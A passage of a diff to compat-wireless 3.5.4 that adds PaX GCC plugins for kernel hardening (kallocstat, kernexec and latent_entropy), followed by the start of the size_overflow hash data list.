++				if (!def_stmt || !is_gimple_assign(def_stmt))
++					break;
++				if (gimple_num_ops(def_stmt) != 2)
++					break;
++				size = gimple_assign_rhs1(def_stmt);
++				if (!TREE_CONSTANT(size))
++					continue;
++				xloc = expand_location(gimple_location(def_stmt));
++				if (!xloc.file)
++					xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl));
++				size_val = TREE_INT_CST_LOW(size);
++				fprintf(stderr, "kallocsize: %8zu %8zx %s %s:%u\n", size_val, size_val, fnname, xloc.file, xloc.line);
++				break;
++			}
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++//debug_tree(gimple_call_fn(call_stmt));
++//print_node(stderr, "pax", fndecl, 4);
++		}
++	}
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info kallocstat_pass_info = {
++		.pass				= &kallocstat_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kallocstat_plugin_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kallocstat_pass_info);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/kernexec_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/kernexec_plugin.c
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/kernexec_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/kernexec_plugin.c	2012-10-15 19:11:12.866824568 +0000
+@@ -0,0 +1,427 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to make KERNEXEC/amd64 almost as good as it is on i386
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info kernexec_plugin_info = {
++	.version	= "201111291120",
++	.help		= "method=[bts|or]\tinstrumentation method\n"
++};
++
++static unsigned int execute_kernexec_reload(void);
++static unsigned int execute_kernexec_fptr(void);
++static unsigned int execute_kernexec_retaddr(void);
++static bool kernexec_cmodel_check(void);
++
++static void (*kernexec_instrument_fptr)(gimple_stmt_iterator *);
++static void (*kernexec_instrument_retaddr)(rtx);
++
++static struct gimple_opt_pass kernexec_reload_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_reload",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_reload,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct gimple_opt_pass kernexec_fptr_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "kernexec_fptr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_fptr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi
++	}
++};
++
++static struct rtl_opt_pass kernexec_retaddr_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "kernexec_retaddr",
++		.gate			= kernexec_cmodel_check,
++		.execute		= execute_kernexec_retaddr,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func | TODO_ggc_collect
++	}
++};
++
++static bool kernexec_cmodel_check(void)
++{
++	tree section;
++
++	if (ix86_cmodel != CM_KERNEL)
++		return false;
++
++	section = lookup_attribute("section", DECL_ATTRIBUTES(current_function_decl));
++	if (!section || !TREE_VALUE(section))
++		return true;
++
++	section = TREE_VALUE(TREE_VALUE(section));
++	if (strncmp(TREE_STRING_POINTER(section), ".vsyscall_", 10))
++		return true;
++
++	return false;
++}
++
++/*
++ * add special KERNEXEC instrumentation: reload %r10 after it has been clobbered
++ */
++static void kernexec_reload_fptr_mask(gimple_stmt_iterator *gsi)
++{
++	gimple asm_movabs_stmt;
++
++	// build asm volatile("movabs $0x8000000000000000, %%r10\n\t" : : : );
++	asm_movabs_stmt = gimple_build_asm_vec("movabs $0x8000000000000000, %%r10\n\t", NULL, NULL, NULL, NULL);
++	gimple_asm_set_volatile(asm_movabs_stmt, true);
++	gsi_insert_after(gsi, asm_movabs_stmt, GSI_CONTINUE_LINKING);
++	update_stmt(asm_movabs_stmt);
++}
++
++/*
++ * find all asm() stmts that clobber r10 and add a reload of r10
++ */
++static unsigned int execute_kernexec_reload(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: __asm__ ("" :  :  : "r10");
++			gimple asm_stmt;
++			size_t nclobbers;
++
++			// is it an asm ...
++			asm_stmt = gsi_stmt(gsi);
++			if (gimple_code(asm_stmt) != GIMPLE_ASM)
++				continue;
++
++			// ... clobbering r10
++			nclobbers = gimple_asm_nclobbers(asm_stmt);
++			while (nclobbers--) {
++				tree op = gimple_asm_clobber_op(asm_stmt, nclobbers);
++				if (strcmp(TREE_STRING_POINTER(TREE_VALUE(op)), "r10"))
++					continue;
++				kernexec_reload_fptr_mask(&gsi);
++//print_gimple_stmt(stderr, asm_stmt, 0, TDF_LINENO);
++				break;
++			}
++		}
++	}
++
++	return 0;
++}
++
++/*
++ * add special KERNEXEC instrumentation: force MSB of fptr to 1, which will produce
++ * a non-canonical address from a userland ptr and will just trigger a GPF on dereference
++ */
++static void kernexec_instrument_fptr_bts(gimple_stmt_iterator *gsi)
++{
++	gimple assign_intptr, assign_new_fptr, call_stmt;
++	tree intptr, old_fptr, new_fptr, kernexec_mask;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary unsigned long variable used for bitops and cast fptr to it
++	intptr = create_tmp_var(long_unsigned_type_node, "kernexec_bts");
++	add_referenced_var(intptr);
++	mark_sym_for_renaming(intptr);
++	assign_intptr = gimple_build_assign(intptr, fold_convert(long_unsigned_type_node, old_fptr));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// apply logical or to temporary unsigned long and bitmask
++	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0x8000000000000000LL);
++//	kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0xffffffff80000000LL);
++	assign_intptr = gimple_build_assign(intptr, fold_build2(BIT_IOR_EXPR, long_long_unsigned_type_node, intptr, kernexec_mask));
++	gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT);
++	update_stmt(assign_intptr);
++
++	// cast temporary unsigned long back to a temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_fptr");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++	assign_new_fptr = gimple_build_assign(new_fptr, fold_convert(TREE_TYPE(old_fptr), intptr));
++	gsi_insert_before(gsi, assign_new_fptr, GSI_SAME_STMT);
++	update_stmt(assign_new_fptr);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++static void kernexec_instrument_fptr_or(gimple_stmt_iterator *gsi)
++{
++	gimple asm_or_stmt, call_stmt;
++	tree old_fptr, new_fptr, input, output;
++	VEC(tree, gc) *inputs = NULL;
++	VEC(tree, gc) *outputs = NULL;
++
++	call_stmt = gsi_stmt(*gsi);
++	old_fptr = gimple_call_fn(call_stmt);
++
++	// create temporary fptr variable
++	new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_or");
++	add_referenced_var(new_fptr);
++	mark_sym_for_renaming(new_fptr);
++
++	// build asm volatile("orq %%r10, %0\n\t" : "=r"(new_fptr) : "0"(old_fptr));
++	input = build_tree_list(NULL_TREE, build_string(2, "0"));
++	input = chainon(NULL_TREE, build_tree_list(input, old_fptr));
++	output = build_tree_list(NULL_TREE, build_string(3, "=r"));
++	output = chainon(NULL_TREE, build_tree_list(output, new_fptr));
++	VEC_safe_push(tree, gc, inputs, input);
++	VEC_safe_push(tree, gc, outputs, output);
++	asm_or_stmt = gimple_build_asm_vec("orq %%r10, %0\n\t", inputs, outputs, NULL, NULL);
++	gimple_asm_set_volatile(asm_or_stmt, true);
++	gsi_insert_before(gsi, asm_or_stmt, GSI_SAME_STMT);
++	update_stmt(asm_or_stmt);
++
++	// replace call stmt fn with the new fptr
++	gimple_call_set_fn(call_stmt, new_fptr);
++	update_stmt(call_stmt);
++}
++
++/*
++ * find all C level function pointer dereferences and forcibly set the highest bit of the pointer
++ */
++static unsigned int execute_kernexec_fptr(void)
++{
++	basic_block bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			// gimple match: h_1 = get_fptr (); D.2709_3 = h_1 (x_2(D));
++			tree fn;
++			gimple call_stmt;
++
++			// is it a call ...
++			call_stmt = gsi_stmt(gsi);
++			if (!is_gimple_call(call_stmt))
++				continue;
++			fn = gimple_call_fn(call_stmt);
++			if (TREE_CODE(fn) == ADDR_EXPR)
++				continue;
++			if (TREE_CODE(fn) != SSA_NAME)
++				gcc_unreachable();
++
++			// ... through a function pointer
++			fn = SSA_NAME_VAR(fn);
++			if (TREE_CODE(fn) != VAR_DECL && TREE_CODE(fn) != PARM_DECL)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != POINTER_TYPE)
++				continue;
++			fn = TREE_TYPE(fn);
++			if (TREE_CODE(fn) != FUNCTION_TYPE)
++				continue;
++
++			kernexec_instrument_fptr(&gsi);
++
++//debug_tree(gimple_call_fn(call_stmt));
++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO);
++		}
++	}
++
++	return 0;
++}
++
++// add special KERNEXEC instrumentation: btsq $63,(%rsp) just before retn
++static void kernexec_instrument_retaddr_bts(rtx insn)
++{
++	rtx btsq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("btsq $63,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	btsq = gen_rtx_ASM_OPERANDS(VOIDmode, "btsq $63,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(btsq) = 1;
++//	RTX_FRAME_RELATED_P(btsq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(btsq, insn);
++}
++
++// add special KERNEXEC instrumentation: orq %r10,(%rsp) just before retn
++static void kernexec_instrument_retaddr_or(rtx insn)
++{
++	rtx orq;
++	rtvec argvec, constraintvec, labelvec;
++	int line;
++
++	// create asm volatile("orq %%r10,(%%rsp)":::)
++	argvec = rtvec_alloc(0);
++	constraintvec = rtvec_alloc(0);
++	labelvec = rtvec_alloc(0);
++	line = expand_location(RTL_LOCATION(insn)).line;
++	orq = gen_rtx_ASM_OPERANDS(VOIDmode, "orq %%r10,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line);
++	MEM_VOLATILE_P(orq) = 1;
++//	RTX_FRAME_RELATED_P(orq) = 1; // not for ASM_OPERANDS
++	emit_insn_before(orq, insn);
++}
++
++/*
++ * find all asm level function returns and forcibly set the highest bit of the return address
++ */
++static unsigned int execute_kernexec_retaddr(void)
++{
++	rtx insn;
++
++	// 1. find function returns
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (jump_insn 41 40 42 2 (return) fptr.c:42 634 {return_internal} (nil))
++		//            (jump_insn 12 9 11 2 (parallel [ (return) (unspec [ (0) ] UNSPEC_REP) ]) fptr.c:46 635 {return_internal_long} (nil))
++		rtx body;
++
++		// is it a retn
++		if (!JUMP_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) == PARALLEL)
++			body = XVECEXP(body, 0, 0);
++		if (GET_CODE(body) != RETURN)
++			continue;
++		kernexec_instrument_retaddr(insn);
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info kernexec_reload_pass_info = {
++		.pass				= &kernexec_reload_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_fptr_pass_info = {
++		.pass				= &kernexec_fptr_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++	struct register_pass_info kernexec_retaddr_pass_info = {
++		.pass				= &kernexec_retaddr_pass.pass,
++		.reference_pass_name		= "pro_and_epilogue",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &kernexec_plugin_info);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "method")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			if (!strcmp(argv[i].value, "bts")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_bts;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_bts;
++			} else if (!strcmp(argv[i].value, "or")) {
++				kernexec_instrument_fptr = kernexec_instrument_fptr_or;
++				kernexec_instrument_retaddr = kernexec_instrument_retaddr_or;
++				fix_register("r10", 1, 1);
++			} else
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++	if (!kernexec_instrument_fptr || !kernexec_instrument_retaddr)
++		error(G_("no instrumentation method was selected via '-fplugin-arg-%s-method'"), plugin_name);
++
++	if (kernexec_instrument_fptr == kernexec_instrument_fptr_or)
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_reload_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_fptr_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_retaddr_pass_info);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/latent_entropy_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/latent_entropy_plugin.c
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/latent_entropy_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/latent_entropy_plugin.c	2012-10-15 19:11:12.866824568 +0000
+@@ -0,0 +1,295 @@
++/*
++ * Copyright 2012 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help generate a little bit of entropy from program state,
++ * used during boot in the kernel
++ *
++ * TODO:
++ * - add ipa pass to identify not explicitly marked candidate functions
++ * - mix in more program state (function arguments/return values, loop variables, etc)
++ * - more instrumentation control via attribute parameters
++ *
++ * BUGS:
++ * - LTO needs -flto-partition=none for now
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++int plugin_is_GPL_compatible;
++
++static tree latent_entropy_decl;
++
++static struct plugin_info latent_entropy_plugin_info = {
++	.version	= "201207271820",
++	.help		= NULL
++};
++
++static unsigned int execute_latent_entropy(void);
++static bool gate_latent_entropy(void);
++
++static struct gimple_opt_pass latent_entropy_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "latent_entropy",
++		.gate			= gate_latent_entropy,
++		.execute		= execute_latent_entropy,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
++static tree handle_latent_entropy_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	if (TREE_CODE(*node) != FUNCTION_DECL) {
++		*no_add_attrs = true;
++		error("%qE attribute only applies to functions", name);
++	}
++	return NULL_TREE;
++}
++
++static struct attribute_spec latent_entropy_attr = {
++	.name				= "latent_entropy",
++	.min_length			= 0,
++	.max_length			= 0,
++	.decl_required			= true,
++	.type_required			= false,
++	.function_type_required		= false,
++	.handler			= handle_latent_entropy_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity		= false
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&latent_entropy_attr);
++}
++
++static bool gate_latent_entropy(void)
++{
++	tree latent_entropy_attr;
++
++	latent_entropy_attr = lookup_attribute("latent_entropy", DECL_ATTRIBUTES(current_function_decl));
++	return latent_entropy_attr != NULL_TREE;
++}
++
++static unsigned HOST_WIDE_INT seed;
++static unsigned HOST_WIDE_INT get_random_const(void)
++{
++	seed = (seed >> 1U) ^ (-(seed & 1ULL) & 0xD800000000000000ULL);
++	return seed;
++}
++
++static enum tree_code get_op(tree *rhs)
++{
++	static enum tree_code op;
++	unsigned HOST_WIDE_INT random_const;
++
++	random_const = get_random_const();
++
++	switch (op) {
++	case BIT_XOR_EXPR:
++		op = PLUS_EXPR;
++		break;
++
++	case PLUS_EXPR:
++		if (rhs) {
++			op = LROTATE_EXPR;
++			random_const &= HOST_BITS_PER_WIDE_INT - 1;
++			break;
++		}
++
++	case LROTATE_EXPR:
++	default:
++		op = BIT_XOR_EXPR;
++		break;
++	}
++	if (rhs)
++		*rhs = build_int_cstu(unsigned_intDI_type_node, random_const);
++	return op;
++}
++
++static void perturb_local_entropy(basic_block bb, tree local_entropy)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, rhs;
++	enum tree_code op;
++
++	op = get_op(&rhs);
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, op, unsigned_intDI_type_node, local_entropy, rhs);
++	assign = gimple_build_assign(local_entropy, addxorrol);
++	find_referenced_vars_in(assign);
++//debug_bb(bb);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_before(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static void perturb_latent_entropy(basic_block bb, tree rhs)
++{
++	gimple_stmt_iterator gsi;
++	gimple assign;
++	tree addxorrol, temp;
++
++	// 1. create temporary copy of latent_entropy
++	temp = create_tmp_var(unsigned_intDI_type_node, "temp_latent_entropy");
++	add_referenced_var(temp);
++	mark_sym_for_renaming(temp);
++
++	// 2. read...
++	assign = gimple_build_assign(temp, latent_entropy_decl);
++	find_referenced_vars_in(assign);
++	gsi = gsi_after_labels(bb);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 3. ...modify...
++	addxorrol = fold_build2_loc(UNKNOWN_LOCATION, get_op(NULL), unsigned_intDI_type_node, temp, rhs);
++	assign = gimple_build_assign(temp, addxorrol);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++
++	// 4. ...write latent_entropy
++	assign = gimple_build_assign(latent_entropy_decl, temp);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++}
++
++static unsigned int execute_latent_entropy(void)
++{
++	basic_block bb;
++	gimple assign;
++	gimple_stmt_iterator gsi;
++	tree local_entropy;
++
++	if (!latent_entropy_decl) {
++		struct varpool_node *node;
++
++		for (node = varpool_nodes; node; node = node->next) {
++			tree var = node->decl;
++			if (strcmp(IDENTIFIER_POINTER(DECL_NAME(var)), "latent_entropy"))
++				continue;
++			latent_entropy_decl = var;
++//			debug_tree(var);
++			break;
++		}
++		if (!latent_entropy_decl) {
++//			debug_tree(current_function_decl);
++			return 0;
++		}
++	}
++
++//fprintf(stderr, "latent_entropy: %s\n", IDENTIFIER_POINTER(DECL_NAME(current_function_decl)));
++
++	// 1. create local entropy variable
++	local_entropy = create_tmp_var(unsigned_intDI_type_node, "local_entropy");
++	add_referenced_var(local_entropy);
++	mark_sym_for_renaming(local_entropy);
++
++	// 2. initialize local entropy variable
++	bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++	if (dom_info_available_p(CDI_DOMINATORS))
++		set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++	gsi = gsi_start_bb(bb);
++
++	assign = gimple_build_assign(local_entropy, build_int_cstu(unsigned_intDI_type_node, get_random_const()));
++//	gimple_set_location(assign, loc);
++	find_referenced_vars_in(assign);
++	gsi_insert_after(&gsi, assign, GSI_NEW_STMT);
++	update_stmt(assign);
++	bb = bb->next_bb;
++
++	// 3. instrument each BB with an operation on the local entropy variable
++	while (bb != EXIT_BLOCK_PTR) {
++		perturb_local_entropy(bb, local_entropy);
++		bb = bb->next_bb;
++	};
++
++	// 4. mix local entropy into the global entropy variable
++	perturb_latent_entropy(EXIT_BLOCK_PTR->prev_bb, local_entropy);
++	return 0;
++}
++
++static void start_unit_callback(void *gcc_data, void *user_data)
++{
++#if BUILDING_GCC_VERSION >= 4007
++	seed = get_random_seed(false);
++#else
++	sscanf(get_random_seed(false), "%" HOST_WIDE_INT_PRINT "x", &seed);
++	seed *= seed;
++#endif
++
++	if (in_lto_p)
++		return;
++
++	// extern u64 latent_entropy
++	latent_entropy_decl = build_decl(UNKNOWN_LOCATION, VAR_DECL, get_identifier("latent_entropy"), unsigned_intDI_type_node);
++
++	TREE_STATIC(latent_entropy_decl) = 1;
++	TREE_PUBLIC(latent_entropy_decl) = 1;
++	TREE_USED(latent_entropy_decl) = 1;
++	TREE_THIS_VOLATILE(latent_entropy_decl) = 1;
++	DECL_EXTERNAL(latent_entropy_decl) = 1;
++	DECL_ARTIFICIAL(latent_entropy_decl) = 0;
++	DECL_INITIAL(latent_entropy_decl) = NULL;
++//	DECL_ASSEMBLER_NAME(latent_entropy_decl);
++//	varpool_finalize_decl(latent_entropy_decl);
++//	varpool_mark_needed_node(latent_entropy_decl);
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info latent_entropy_pass_info = {
++		.pass				= &latent_entropy_pass.pass,
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &latent_entropy_plugin_info);
++	register_callback ("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &latent_entropy_pass_info);
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_hash.data compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_hash.data
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_hash.data	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/size_overflow_hash.data	2012-10-15 19:11:12.872824568 +0000
+@@ -0,0 +1,3633 @@
++_000001_hash alloc_dr 2 65495 _000001_hash NULL
++_000002_hash __copy_from_user 3 10918 _000002_hash NULL
++_000003_hash copy_from_user 3 17559 _000003_hash NULL
++_000004_hash __copy_from_user_inatomic 3 4365 _000004_hash NULL
++_000005_hash __copy_from_user_nocache 3 39351 _000005_hash NULL
++_000006_hash __copy_to_user_inatomic 3 19214 _000006_hash NULL
++_000007_hash do_xip_mapping_read 5 60297 _000007_hash NULL
++_000008_hash hugetlbfs_read 3 11268 _000008_hash NULL
++_000009_hash kmalloc 1 60432 _002597_hash NULL nohasharray
++_000010_hash kmalloc_array 1-2 9444 _000010_hash NULL
++_000012_hash kmalloc_slab 1 11917 _000012_hash NULL
++_000013_hash kmemdup 2 64015 _000013_hash NULL
++_000014_hash __krealloc 2 14857 _000331_hash NULL nohasharray
++_000015_hash memdup_user 2 59590 _000015_hash NULL
++_000016_hash module_alloc 1 63630 _000016_hash NULL
++_000017_hash read_default_ldt 2 14302 _000017_hash NULL
++_000018_hash read_kcore 3 63488 _000018_hash NULL
++_000019_hash read_ldt 2 47570 _000019_hash NULL
++_000020_hash read_zero 3 19366 _000020_hash NULL
++_000021_hash __vmalloc_node 1 39308 _000021_hash NULL
++_000022_hash vm_map_ram 2 23078 _001054_hash NULL nohasharray
++_000023_hash aa_simple_write_to_buffer 4-3 49683 _000023_hash NULL
++_000024_hash ablkcipher_copy_iv 3 64140 _000024_hash NULL
++_000025_hash ablkcipher_next_slow 4-3 47274 _000025_hash NULL
++_000026_hash acpi_battery_write_alarm 3 1240 _000026_hash NULL
++_000027_hash acpi_os_allocate 1 14892 _000027_hash NULL
++_000028_hash acpi_system_write_wakeup_device 3 34853 _000028_hash NULL
++_000029_hash adu_write 3 30487 _000029_hash NULL
++_000030_hash aer_inject_write 3 52399 _000030_hash NULL
++_000031_hash afs_alloc_flat_call 2-3 36399 _000031_hash NULL
++_000033_hash afs_proc_cells_write 3 61139 _000033_hash NULL
++_000034_hash afs_proc_rootcell_write 3 15822 _000034_hash NULL
++_000035_hash agp_3_5_isochronous_node_enable 3 49465 _000035_hash NULL
++_000036_hash agp_alloc_page_array 1 22554 _000036_hash NULL
++_000037_hash ah_alloc_tmp 2-3 54378 _000037_hash NULL
++_000038_hash ahash_setkey_unaligned 3 33521 _000038_hash NULL
++_000039_hash alg_setkey 3 31485 _000039_hash NULL
++_000040_hash aligned_kmalloc 1 3628 _000040_hash NULL
++_000041_hash alloc_context 1 3194 _000041_hash NULL
++_000042_hash alloc_ep_req 2 54860 _000042_hash NULL
++_000043_hash alloc_fdmem 1 27083 _000043_hash NULL
++_000044_hash alloc_flex_gd 1 57259 _000044_hash NULL
++_000045_hash alloc_sglist 1-3-2 22960 _000045_hash NULL
++_000046_hash aoedev_flush 2 44398 _000046_hash NULL
++_000047_hash append_to_buffer 3 63550 _000047_hash NULL
++_000048_hash asix_read_cmd 5 13245 _000048_hash NULL
++_000049_hash asix_write_cmd 5 58192 _000049_hash NULL
++_000050_hash asn1_octets_decode 2 9991 _000050_hash NULL
++_000051_hash asn1_oid_decode 2 4999 _000051_hash NULL
++_000052_hash at76_set_card_command 4 4471 _000052_hash NULL
